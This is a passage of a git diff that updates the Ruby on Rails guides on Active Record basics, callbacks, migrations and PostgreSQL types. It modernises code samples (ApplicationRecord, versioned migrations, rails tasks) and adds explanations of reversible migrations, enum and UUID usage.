Artist').order(created_at: :desc) ``` You can learn more about querying an Active Record model in the [Active Record @@ -320,7 +321,7 @@ they raise the exception `ActiveRecord::RecordInvalid` if validation fails. A quick example to illustrate: ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord validates :name, presence: true end @@ -350,7 +351,7 @@ database that Active Record supports using `rake`. Here's a migration that creates a table: ```ruby -class CreatePublications < ActiveRecord::Migration +class CreatePublications < ActiveRecord::Migration[5.0] def change create_table :publications do |t| t.string :title @@ -360,7 +361,7 @@ class CreatePublications < ActiveRecord::Migration t.string :publisher_type t.boolean :single_issue - t.timestamps null: false + t.timestamps end add_index :publications, :publication_type_id end @@ -368,8 +369,8 @@ end ``` Rails keeps track of which files have been committed to the database and -provides rollback features. To actually create the table, you'd run `rake db:migrate` -and to roll it back, `rake db:rollback`. +provides rollback features. To actually create the table, you'd run `rails db:migrate` +and to roll it back, `rails db:rollback`. Note that the above code is database-agnostic: it will run in MySQL, PostgreSQL, Oracle and others. You can learn more about migrations in the diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md index 13989a3b33..fb5d2065d3 100644 --- a/guides/source/active_record_callbacks.md +++ b/guides/source/active_record_callbacks.md @@ -31,7 +31,7 @@ Callbacks are methods that get called at certain moments of an object's life cyc In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks: ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord validates :login, :email, presence: true before_validation :ensure_login_has_a_value @@ -48,7 +48,7 @@ end The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line: ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord validates :login, :email, presence: true before_create do @@ -60,7 +60,7 @@ end Callbacks can also be registered to only fire on certain life cycle events: ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord before_validation :normalize_name, on: :create # :on takes an array as well @@ -126,7 +126,7 @@ The `after_find` callback will be called whenever Active Record loads a record f The `after_initialize` and `after_find` callbacks have no `before_*` counterparts, but they can be registered just like the other Active Record callbacks. ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord after_initialize do |user| puts "You have initialized an object!" end @@ -151,7 +151,7 @@ You have initialized an object! The `after_touch` callback will be called whenever an Active Record object is touched. ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord after_touch do |user| puts "You have touched an object" end @@ -168,14 +168,14 @@ You have touched an object It can be used along with `belongs_to`: ```ruby -class Employee < ActiveRecord::Base +class Employee < ApplicationRecord belongs_to :company, touch: true after_touch do puts 'An Employee was touched' end end -class Company < ActiveRecord::Base +class Company < ApplicationRecord has_many :employees after_touch :log_when_employees_or_company_touched @@ -258,7 +258,7 @@ As you start registering new callbacks for your models, they will be queued for The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception. -WARNING. Any exception that is not `ActiveRecord::Rollback` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception. +WARNING. Any exception that is not `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception. Relational Callbacks -------------------- @@ -266,11 +266,11 @@ Relational Callbacks Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many articles. A user's articles should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Article` model: ```ruby -class User < ActiveRecord::Base +class User < ApplicationRecord has_many :articles, dependent: :destroy end -class Article < ActiveRecord::Base +class Article < ApplicationRecord after_destroy :log_destroy_action def log_destroy_action @@ -297,7 +297,7 @@ As with validations, we can also make the calling of a callback method condition You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the `:if` option, the callback won't be executed if the predicate method returns false; when using the `:unless` option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed. ```ruby -class Order < ActiveRecord::Base +class Order < ApplicationRecord before_save :normalize_card_number, if: :paid_with_card? end ``` @@ -307,7 +307,7 @@ end You can also use a string that will be evaluated using `eval` and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition: ```ruby -class Order < ActiveRecord::Base +class Order < ApplicationRecord before_save :normalize_card_number, if: "paid_with_card?" end ``` @@ -317,7 +317,7 @@ end Finally, it is possible to associate `:if` and `:unless` with a `Proc` object. This option is best suited when writing short validation methods, usually one-liners: ```ruby -class Order < ActiveRecord::Base +class Order < ApplicationRecord before_save :normalize_card_number, if: Proc.new { |order| order.paid_with_card? } end @@ -328,7 +328,7 @@ end When writing conditional callbacks, it is possible to mix both `:if` and `:unless` in the same callback declaration: ```ruby -class Comment < ActiveRecord::Base +class Comment < ApplicationRecord after_create :send_email_to_author, if: :author_wants_emails?, unless: Proc.new { |comment| comment.article.ignore_comments? } end @@ -354,7 +354,7 @@ end When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model: ```ruby -class PictureFile < ActiveRecord::Base +class PictureFile < ApplicationRecord after_destroy PictureFileCallbacks.new end ``` @@ -374,7 +374,7 @@ end If the callback method is declared this way, it won't be necessary to instantiate a `PictureFileCallbacks` object. ```ruby -class PictureFile < ActiveRecord::Base +class PictureFile < ApplicationRecord after_destroy PictureFileCallbacks end ``` @@ -398,7 +398,7 @@ end By using the `after_commit` callback we can account for this case. ```ruby -class PictureFile < ActiveRecord::Base +class PictureFile < ApplicationRecord after_commit :delete_picture_file_from_disk, on: [:destroy] def delete_picture_file_from_disk @@ -412,4 +412,23 @@ end NOTE: the `:on` option specifies when a callback will be fired. If you don't supply the `:on` option the callback will fire for every action. +Since using `after_commit` callback only on create, update or delete is +common, there are aliases for those operations: + +* `after_create_commit` +* `after_update_commit` +* `after_destroy_commit` + +```ruby +class PictureFile < ApplicationRecord + after_destroy_commit :delete_picture_file_from_disk + + def delete_picture_file_from_disk + if File.exist?(filepath) + File.delete(filepath) + end + end +end +``` + WARNING. The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. diff --git a/guides/source/active_record_migrations.md b/guides/source/active_record_migrations.md index 0e6c8c4f4a..f914122242 100644 --- a/guides/source/active_record_migrations.md +++ b/guides/source/active_record_migrations.md @@ -12,7 +12,7 @@ After reading this guide, you will know: * The generators you can use to create them. * The methods Active Record provides to manipulate your database. -* The Rake tasks that manipulate migrations and your schema. +* The bin/rails tasks that manipulate migrations and your schema. * How migrations relate to `schema.rb`. -------------------------------------------------------------------------------- @@ -35,13 +35,13 @@ history to the latest version. Active Record will also update your Here's an example of a migration: ```ruby -class CreateProducts < ActiveRecord::Migration +class CreateProducts < ActiveRecord::Migration[5.0] def change create_table :products do |t| t.string :name t.text :description - t.timestamps null: false + t.timestamps end end end @@ -72,7 +72,7 @@ If you wish for a migration to do something that Active Record doesn't know how to reverse, you can use `reversible`: ```ruby -class ChangeProductsPrice < ActiveRecord::Migration +class ChangeProductsPrice < ActiveRecord::Migration[5.0] def change reversible do |dir| change_table :products do |t| @@ -87,7 +87,7 @@ end Alternatively, you can use `up` and `down` instead of `change`: ```ruby -class ChangeProductsPrice < ActiveRecord::Migration +class ChangeProductsPrice < ActiveRecord::Migration[5.0] def up change_table :products do |t| t.change :price, :string @@ -129,7 +129,7 @@ $ bin/rails generate migration AddPartNumberToProducts This will create an empty but appropriately named migration: ```ruby -class AddPartNumberToProducts < ActiveRecord::Migration +class AddPartNumberToProducts < ActiveRecord::Migration[5.0] def change end end @@ -146,7 +146,7 @@ $ bin/rails generate migration AddPartNumberToProducts part_number:string will generate ```ruby -class AddPartNumberToProducts < ActiveRecord::Migration +class AddPartNumberToProducts < ActiveRecord::Migration[5.0] def change add_column :products, :part_number, :string end @@ -162,7 +162,7 @@ $ bin/rails generate migration AddPartNumberToProducts part_number:string:index will generate ```ruby -class AddPartNumberToProducts < ActiveRecord::Migration +class AddPartNumberToProducts < ActiveRecord::Migration[5.0] def change add_column :products, :part_number, :string add_index :products, :part_number @@ -180,7 +180,7 @@ $ bin/rails generate migration RemovePartNumberFromProducts part_number:string generates ```ruby -class RemovePartNumberFromProducts < ActiveRecord::Migration +class RemovePartNumberFromProducts < ActiveRecord::Migration[5.0] def change remove_column :products, :part_number, :string end @@ -196,7 +196,7 @@ $ bin/rails generate migration AddDetailsToProducts part_number:string price:dec generates ```ruby -class AddDetailsToProducts < ActiveRecord::Migration +class AddDetailsToProducts < ActiveRecord::Migration[5.0] def change add_column :products, :part_number, :string add_column :products, :price, :decimal @@ -215,7 +215,7 @@ $ bin/rails generate migration CreateProducts name:string part_number:string generates ```ruby -class CreateProducts < ActiveRecord::Migration +class CreateProducts < ActiveRecord::Migration[5.0] def change create_table :products do |t| t.string :name @@ -239,7 +239,7 @@ $ bin/rails generate migration AddUserRefToProducts user:references generates ```ruby -class AddUserRefToProducts < ActiveRecord::Migration +class AddUserRefToProducts < ActiveRecord::Migration[5.0] def change add_reference :products, :user, index: true, foreign_key: true end @@ -247,6 +247,7 @@ end ``` This migration will create a `user_id` column and appropriate index. +For more `add_reference` options, visit the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference). There is also a generator which will produce join tables if `JoinTable` is part of the name: @@ -257,7 +258,7 @@ $ bin/rails g migration CreateJoinTableCustomerProduct customer product will produce the following migration: ```ruby -class CreateJoinTableCustomerProduct < ActiveRecord::Migration +class CreateJoinTableCustomerProduct < ActiveRecord::Migration[5.0] def change create_join_table :customers, :products do |t| # t.index [:customer_id, :product_id] @@ -281,13 +282,13 @@ $ bin/rails generate model Product name:string description:text will create a migration that looks like this ```ruby -class CreateProducts < ActiveRecord::Migration +class CreateProducts < ActiveRecord::Migration[5.0] def change create_table :products do |t| t.string :name t.text :description - t.timestamps null: false + t.timestamps end end end @@ -309,7 +310,7 @@ $ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplie will produce a migration that looks like this ```ruby -class AddDetailsToProducts < ActiveRecord::Migration +class AddDetailsToProducts < ActiveRecord::Migration[5.0] def change add_column :products, :price, :decimal, precision: 5, scale: 2 add_reference :products, :supplier, polymorphic: true, index: true @@ -353,12 +354,19 @@ end ``` will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table -(when using MySQL, the default is `ENGINE=InnoDB`). +(when using MySQL or MariaDB, the default is `ENGINE=InnoDB`). + +Also you can pass the `:comment` option with any description for the table +that will be stored in database itself and can be viewed with database administration +tools, such as MySQL Workbench or PgAdmin III. It's highly recommended to specify +comments in migrations for applications with large databases as it helps people +to understand data model and generate documentation. +Currently only the MySQL and PostgreSQL adapters support comments. ### Creating a Join Table -Migration method `create_join_table` creates a HABTM join table. A typical use -would be: +The migration method `create_join_table` creates an HABTM (has and belongs to +many) join table. A typical use would be: ```ruby create_join_table :products, :categories @@ -367,23 +375,21 @@ create_join_table :products, :categories which creates a `categories_products` table with two columns called `category_id` and `product_id`. These columns have the option `:null` set to `false` by default. This can be overridden by specifying the `:column_options` -option. +option: ```ruby -create_join_table :products, :categories, column_options: {null: true} +create_join_table :products, :categories, column_options: { null: true } ``` -will create the `product_id` and `category_id` with the `:null` option as -`true`. - -You can pass the option `:table_name` when you want to customize the table -name. For example: +By default, the name of the join table comes from the union of the first two +arguments provided to create_join_table, in alphabetical order. +To customize the name of the table, provide a `:table_name` option: ```ruby create_join_table :products, :categories, table_name: :categorization ``` -will create a `categorization` table. +creates a `categorization` table. `create_join_table` also accepts a block, which you can use to add indices (which are not created by default) or additional columns: @@ -423,21 +429,23 @@ change_column :products, :part_number, :text ``` This changes the column `part_number` on products table to be a `:text` field. +Note that `change_column` command is irreversible. Besides `change_column`, the `change_column_null` and `change_column_default` -methods are used specifically to change the null and default values of a -column. +methods are used specifically to change a not null constraint and default +values of a column. ```ruby change_column_null :products, :name, false -change_column_default :products, :approved, false +change_column_default :products, :approved, from: true, to: false ``` This sets `:name` field on products to a `NOT NULL` column and the default -value of the `:approved` field to false. +value of the `:approved` field from true to false. -TIP: Unlike `change_column` (and `change_column_default`), `change_column_null` -is reversible. +Note: You could also write the above `change_column_default` migration as +`change_column_default :products, :approved, false`, but unlike the previous +example, this would make your migration irreversible. ### Column Modifiers @@ -454,8 +462,7 @@ number of digits after the decimal point. are using a dynamic value (such as a date), the default will only be calculated the first time (i.e. on the date the migration is applied). * `index` Adds an index for the column. -* `required` Adds `required: true` for `belongs_to` associations and -`null: false` to the column in the migration. +* `comment` Adds a comment for the column. Some adapters may support additional options; see the adapter specific API docs for further information. @@ -475,7 +482,8 @@ column names can not be derived from the table names, you can use the `:column` and `:primary_key` options. Rails will generate a name for every foreign key starting with -`fk_rails_` followed by 10 random characters. +`fk_rails_` followed by 10 characters which are deterministically +generated from the `from_table` and `column`. There is a `:name` option to specify a different name if needed. NOTE: Active Record only supports single column foreign keys. `execute` and @@ -501,7 +509,7 @@ If the helpers provided by Active Record aren't enough you can use the `execute` method to execute arbitrary SQL: ```ruby -Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1') +Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1") ``` For more details and examples of individual methods, check the API documentation. @@ -521,24 +529,39 @@ majority of cases, where Active Record knows how to reverse the migration automatically. Currently, the `change` method supports only these migration definitions: -* `add_column` -* `add_index` -* `add_reference` -* `add_timestamps` -* `add_foreign_key` -* `create_table` -* `create_join_table` -* `drop_table` (must supply a block) -* `drop_join_table` (must supply a block) -* `remove_timestamps` -* `rename_column` -* `rename_index` -* `remove_reference` -* `rename_table` +* add_column +* add_foreign_key +* add_index +* add_reference +* add_timestamps +* change_column_default (must supply a :from and :to option) +* change_column_null +* create_join_table +* create_table +* disable_extension +* drop_join_table +* drop_table (must supply a block) +* enable_extension +* remove_column (must supply a type) +* remove_foreign_key (must supply a second table) +* remove_index +* remove_reference +* remove_timestamps +* rename_column +* rename_index +* rename_table `change_table` is also reversible, as long as the block does not call `change`, `change_default` or `remove`. +`remove_column` is reversible if you supply the column type as the third +argument. Provide the original column options too, otherwise Rails can't +recreate the column exactly when rolling back: + +```ruby +remove_column :posts, :slug, :string, null: false, default: '', index: true +``` + If you're going to need to use any other methods, you should use `reversible` or write the `up` and `down` methods instead of using the `change` method. @@ -546,10 +569,10 @@ or write the `up` and `down` methods instead of using the `change` method. Complex migrations may require processing that Active Record doesn't know how to reverse. You can use `reversible` to specify what to do when running a -migration what else to do when reverting it. For example: +migration and what else to do when reverting it. For example: ```ruby -class ExampleMigration < ActiveRecord::Migration +class ExampleMigration < ActiveRecord::Migration[5.0] def change create_table :distributors do |t| t.string :zipcode @@ -598,11 +621,11 @@ schema, and the `down` method of your migration should revert the transformations done by the `up` method. In other words, the database schema should be unchanged if you do an `up` followed by a `down`. For example, if you create a table in the `up` method, you should drop it in the `down` method. It -is wise to reverse the transformations in precisely the reverse order they were +is wise to perform the transformations in precisely the reverse order they were made in the `up` method. The example in the `reversible` section is equivalent to: ```ruby -class ExampleMigration < ActiveRecord::Migration +class ExampleMigration < ActiveRecord::Migration[5.0] def up create_table :distributors do |t| t.string :zipcode @@ -643,9 +666,9 @@ can't be done. You can use Active Record's ability to rollback migrations using the `revert` method: ```ruby -require_relative '2012121212_example_migration' +require_relative '20121212123456_example_migration' -class FixupExampleMigration < ActiveRecord::Migration +class FixupExampleMigration < ActiveRecord::Migration[5.0] def change revert ExampleMigration @@ -663,7 +686,7 @@ is later decided it would be best to use Active Record validations, in place of the `CHECK` constraint, to verify the zipcode. ```ruby -class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration +class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[5.0] def change revert do # copy-pasted code from ExampleMigration @@ -703,10 +726,10 @@ you will have to use `structure.sql` as dump method. See Running Migrations ------------------ -Rails provides a set of Rake tasks to run certain sets of migrations. +Rails provides a set of bin/rails tasks to run certain sets of migrations. -The very first migration related Rake task you will use will probably be -`rake db:migrate`. In its most basic form it just runs the `change` or `up` +The very first migration related bin/rails task you will use will probably be +`rails db:migrate`. In its most basic form it just runs the `change` or `up` method for all the migrations that have not yet been run. If there are no such migrations, it exits. It will run these migrations in order based on the date of the migration. @@ -720,7 +743,7 @@ is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run: ```bash -$ bin/rake db:migrate VERSION=20080906120000 +$ bin/rails db:migrate VERSION=20080906120000 ``` If version 20080906120000 is greater than the current version (i.e., it is @@ -737,7 +760,7 @@ mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run: ```bash -$ bin/rake db:rollback +$ bin/rails db:rollback ``` This will rollback the latest migration, either by reverting the `change` @@ -745,7 +768,7 @@ method or by running the `down` method. If you need to undo several migrations you can provide a `STEP` parameter: ```bash -$ bin/rake db:rollback STEP=3 +$ bin/rails db:rollback STEP=3 ``` will revert the last 3 migrations. @@ -755,26 +778,26 @@ back up again. As with the `db:rollback` task, you can use the `STEP` parameter if you need to go more than one version back, for example: ```bash -$ bin/rake db:migrate:redo STEP=3 +$ bin/rails db:migrate:redo STEP=3 ``` -Neither of these Rake tasks do anything you could not do with `db:migrate`. They +Neither of these bin/rails tasks do anything you could not do with `db:migrate`. They are simply more convenient, since you do not need to explicitly specify the version to migrate to. ### Setup the Database -The `rake db:setup` task will create the database, load the schema and initialize +The `rails db:setup` task will create the database, load the schema and initialize it with the seed data. ### Resetting the Database -The `rake db:reset` task will drop the database and set it up again. This is -functionally equivalent to `rake db:drop db:setup`. +The `rails db:reset` task will drop the database and set it up again. This is +functionally equivalent to `rails db:drop db:setup`. NOTE: This is not the same as running all the migrations. It will only use the -contents of the current `schema.rb` file. If a migration can't be rolled back, -`rake db:reset` may not help you. To find out more about dumping the schema see +contents of the current `db/schema.rb` or `db/structure.sql` file. If a migration can't be rolled back, +`rails db:reset` may not help you. To find out more about dumping the schema see [Schema Dumping and You](#schema-dumping-and-you) section. ### Running Specific Migrations @@ -785,7 +808,7 @@ the corresponding migration will have its `change`, `up` or `down` method invoked, for example: ```bash -$ bin/rake db:migrate:up VERSION=20080906120000 +$ bin/rails db:migrate:up VERSION=20080906120000 ``` will run the 20080906120000 migration by running the `change` method (or the @@ -795,13 +818,13 @@ Active Record believes that it has already been run. ### Running Migrations in Different Environments -By default running `rake db:migrate` will run in the `development` environment. +By default running `bin/rails db:migrate` will run in the `development` environment. To run migrations against another environment you can specify it using the `RAILS_ENV` environment variable while running the command. For example to run migrations against the `test` environment you could run: ```bash -$ bin/rake db:migrate RAILS_ENV=test +$ bin/rails db:migrate RAILS_ENV=test ``` ### Changing the Output of Running Migrations @@ -827,13 +850,13 @@ Several methods are provided in migrations that allow you to control all this: For example, this migration: ```ruby -class CreateProducts < ActiveRecord::Migration +class CreateProducts < ActiveRecord::Migration[5.0] def change suppress_messages do create_table :products do |t| t.string :name t.text :description - t.timestamps null: false + t.timestamps end end @@ -862,18 +885,18 @@ generates the following output == CreateProducts: migrated (10.0054s) ======================================= ``` -If you want Active Record to not output anything, then running `rake db:migrate +If you want Active Record to not output anything, then running `rails db:migrate VERBOSE=false` will suppress all output. Changing Existing Migrations ---------------------------- Occasionally you will make a mistake when writing a migration. If you have -already run the migration then you cannot just edit the migration and run the +already run the migration, then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do -nothing when you run `rake db:migrate`. You must rollback the migration (for -example with `rake db:rollback`), edit your migration and then run -`rake db:migrate` to run the corrected version. +nothing when you run `rails db:migrate`. You must rollback the migration (for +example with `bin/rails db:rollback`), edit your migration and then run +`rails db:migrate` to run the corrected version. In general, editing existing migrations is not a good idea. You will be creating extra work for yourself and your co-workers and cause major headaches @@ -919,7 +942,7 @@ There are two ways to dump the schema. This is set in `config/application.rb` by the `config.active_record.schema_format` setting, which may be either `:sql` or `:ruby`. -If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look +If `:ruby` is selected, then the schema is stored in `db/schema.rb`. If you look at this file you'll find that it looks an awful lot like one very big migration: @@ -955,8 +978,8 @@ this, then you should set the schema format to `:sql`. Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the `db:structure:dump` -Rake task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump` -utility is used. For MySQL, this file will contain the output of +rails task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump` +utility is used. For MySQL and MariaDB, this file will contain the output of `SHOW CREATE TABLE` for the various tables. Loading these schemas is simply a question of executing the SQL statements they @@ -995,10 +1018,13 @@ such features, the `execute` method can be used to execute arbitrary SQL. Migrations and Seed Data ------------------------ -Some people use migrations to add data to the database: +The main purpose of Rails' migration feature is to issue commands that modify the +schema using a consistent process. Migrations can also be used +to add or modify data. This is useful in an existing database that can't be destroyed +and recreated, such as a production database. ```ruby -class AddInitialProducts < ActiveRecord::Migration +class AddInitialProducts < ActiveRecord::Migration[5.0] def up 5.times do |i| Product.create(name: "Product ##{i}", description: "A product.") @@ -1011,9 +1037,11 @@ class AddInitialProducts < ActiveRecord::Migration end ``` -However, Rails has a 'seeds' feature that should be used for seeding a database -with initial data. It's a really simple feature: just fill up `db/seeds.rb` -with some Ruby code, and run `rake db:seed`: +To add initial data after a database is created, Rails has a built-in +'seeds' feature that makes the process quick and easy. This is especially +useful when reloading the database frequently in development and test environments. +It's easy to get started with this feature: just fill up `db/seeds.rb` with some +Ruby code, and run `rails db:seed`: ```ruby 5.times do |i| diff --git a/guides/source/active_record_postgresql.md b/guides/source/active_record_postgresql.md index 4d9c1776f4..5eb19f5214 100644 --- a/guides/source/active_record_postgresql.md +++ b/guides/source/active_record_postgresql.md @@ -14,7 +14,7 @@ After reading this guide, you will know: -------------------------------------------------------------------------------- -In order to use the PostgreSQL adapter you need to have at least version 8.2 +In order to use the PostgreSQL adapter you need to have at least version 9.1 installed. Older versions are not supported. To get started with PostgreSQL have a look at the @@ -29,8 +29,8 @@ that are supported by the PostgreSQL adapter. ### Bytea -* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-binary.html) -* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-binarystring.html) +* [type definition](http://www.postgresql.org/docs/current/static/datatype-binary.html) +* [functions and operators](http://www.postgresql.org/docs/current/static/functions-binarystring.html) ```ruby # db/migrate/20140207133952_create_documents.rb @@ -39,7 +39,7 @@ create_table :documents do |t| end # app/models/document.rb -class Document < ActiveRecord::Base +class Document < ApplicationRecord end # Usage @@ -49,8 +49,8 @@ Document.create payload: data ### Array -* [type definition](http://www.postgresql.org/docs/9.3/static/arrays.html) -* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-array.html) +* [type definition](http://www.postgresql.org/docs/current/static/arrays.html) +* [functions and operators](http://www.postgresql.org/docs/current/static/functions-array.html) ```ruby # db/migrate/20140207133952_create_books.rb @@ -63,7 +63,7 @@ add_index :books, :tags, using: 'gin' add_index :books, :ratings, using: 'gin' # app/models/book.rb -class Book < ActiveRecord::Base +class Book < ApplicationRecord end # Usage @@ -83,9 +83,10 @@ Book.where("array_length(ratings, 1) >= 3") ### Hstore -* [type definition](http://www.postgresql.org/docs/9.3/static/hstore.html) +* [type definition](http://www.postgresql.org/docs/current/static/hstore.html) +* [functions and operators](http://www.postgresql.org/docs/current/static/hstore.html#AEN167712) -NOTE: you need to enable the `hstore` extension to use hstore. +NOTE: You need to enable the `hstore` extension to use hstore. ```ruby # db/migrate/20131009135255_create_profiles.rb @@ -97,7 +98,7 @@ ActiveRecord::Schema.define do end # app/models/profile.rb -class Profile < ActiveRecord::Base +class Profile < ApplicationRecord end # Usage @@ -108,12 +109,15 @@ profile.settings # => {"color"=>"blue", "resolution"=>"800x600"} profile.settings = {"color" => "yellow", "resolution" => "1280x1024"} profile.save! + +Profile.where("settings->'color' = ?", "yellow") +#=> #<ActiveRecord::Relation [#<Profile id: 1, settings: {"color"=>"yellow", "resolution"=>"1280x1024"}>]> ``` ### JSON -* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-json.html) -* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-json.html) +* [type definition](http://www.postgresql.org/docs/current/static/datatype-json.html) +* [functions and operators](http://www.postgresql.org/docs/current/static/functions-json.html) ```ruby # db/migrate/20131220144913_create_events.rb @@ -122,7 +126,7 @@ create_table :events do |t| end # app/models/event.rb -class Event < ActiveRecord::Base +class Event < ApplicationRecord end # Usage @@ -138,10 +142,10 @@ Event.where("payload->>'kind' = ?", "user_renamed") ### Range Types -* [type definition](http://www.postgresql.org/docs/9.3/static/rangetypes.html) -* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-range.html) +* [type definition](http://www.postgresql.org/docs/current/static/rangetypes.html) +* [functions and operators](http://www.postgresql.org/docs/current/static/functions-range.html) -This type is mapped to Ruby [`Range`](http://www.ruby-doc.org/core-2.1.1/Range.html) objects. +This type is mapped to Ruby [`Range`](http://www.ruby-doc.org/core-2.2.2/Range.html) objects. ```ruby # db/migrate/20130923065404_create_events.rb @@ -150,7 +154,7 @@ create_table :events do |t| end # app/models/event.rb -class Event < ActiveRecord::Base +class Event < ApplicationRecord end # Usage @@ -173,7 +177,7 @@ event.ends_at # => Thu, 13 Feb 2014 ### Composite Types -* [type definition](http://www.postgresql.org/docs/9.3/static/rowtypes.html) +* [type definition](http://www.postgresql.org/docs/current/static/rowtypes.html) Currently there is no special support for composite types. They are mapped to normal text columns: @@ -200,7 +204,7 @@ create_table :contacts do |t| end # app/models/contact.rb -class Contact < ActiveRecord::Base +class Contact < ApplicationRecord end # Usage @@ -213,22 +217,33 @@ contact.save! ### Enumerated Types -* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-enum.html) +* [type definition](http://www.postgresql.org/docs/current/static/datatype-enum.html) Currently there is no special support for enumerated types. They are mapped as normal text columns: ```ruby # db/migrate/20131220144913_create_articles.rb -execute <<-SQL - CREATE TYPE article_status AS ENUM ('draft', 'published'); -SQL -create_table :articles do |t| - t.column :status, :article_status +def up + execute <<-SQL + CREATE TYPE article_status AS ENUM ('draft', 'published'); + SQL + create_table :articles do |t| + t.column :status, :article_status + end +end + +# NOTE: It's important to drop table before dropping enum. +def down + drop_table :articles + + execute <<-SQL + DROP TYPE article_status; + SQL end # app/models/article.rb -class Article < ActiveRecord::Base +class Article < ApplicationRecord end # Usage @@ -240,20 +255,50 @@ article.status = "published" article.save! ``` +To add a new value before/after existing one you should use [ALTER TYPE](http://www.postgresql.org/docs/current/static/sql-altertype.html): + +```ruby +# db/migrate/20150720144913_add_new_state_to_articles.rb +# NOTE: ALTER TYPE ... ADD VALUE cannot be executed inside of a transaction block so here we are using disable_ddl_transaction! +disable_ddl_transaction! + +def up + execute <<-SQL + ALTER TYPE article_status ADD VALUE IF NOT EXISTS 'archived' AFTER 'published'; + SQL +end +``` + +NOTE: ENUM values can't be dropped currently. You can read why [here](http://www.postgresql.org/message-id/29F36C7C98AB09499B1A209D48EAA615B7653DBC8A@mail2a.alliedtesting.com). + +Hint: to show all the values of the all enums you have, you should call this query in `bin/rails db` or `psql` console: + +```sql +SELECT n.nspname AS enum_schema, + t.typname AS enum_name, + e.enumlabel AS enum_value + FROM pg_type t + JOIN pg_enum e ON t.oid = e.enumtypid + JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace +``` + ### UUID -* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-uuid.html) -* [generator functions](http://www.postgresql.org/docs/9.3/static/uuid-ossp.html) +* [type definition](http://www.postgresql.org/docs/current/static/datatype-uuid.html) +* [pgcrypto generator function](http://www.postgresql.org/docs/current/static/pgcrypto.html#AEN159361) +* [uuid-ossp generator functions](http://www.postgresql.org/docs/current/static/uuid-ossp.html) +NOTE: You need to enable the `pgcrypto` (only PostgreSQL >= 9.4) or `uuid-ossp` +extension to use uuid. ```ruby # db/migrate/20131220144913_create_revisions.rb create_table :revisions do |t| - t.column :identifier, :uuid + t.uuid :identifier end # app/models/revision.rb -class Revision < ActiveRecord::Base +class Revision < ApplicationRecord end # Usage @@ -263,10 +308,35 @@ revision = Revision.first revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11" ``` +You can use `uuid` type to define references in migrations: + +```ruby +# db/migrate/20150418012400_create_blog.rb +enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto') +create_table :posts, id: :uuid, default: 'gen_random_uuid()' + +create_table :comments, id: :uuid, default: 'gen_random_uuid()' do |t| + # t.belongs_to :post, type: :uuid + t.references :post, type: :uuid +end + +# app/models/post.rb +class Post < ApplicationRecord + has_many :comments +end + +# app/models/comment.rb +class Comment < ApplicationRecord + belongs_to :post +end +``` + +See [this section](#uuid-primary-keys) for more details on using UUIDs as primary key. + ### Bit String Types -* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-bit.html) -* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-bitstring.html) +* [type definition](http://www.postgresql.org/docs/current/static/datatype-bit.html) +* [functions and operators](http://www.postgresql.org/docs/current/static/functions-bitstring.html) ```ruby # db/migrate/20131220144913_create_users.rb @@ -275,7 +345,7 @@ create_table :users, force: true do |t| end # app/models/device.rb -class User < ActiveRecord::Base +class User < ApplicationRecord end # Usage @@ -289,10 +359,10 @@ user.save! ### Network Address Types -* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-net-types.html) +* [type 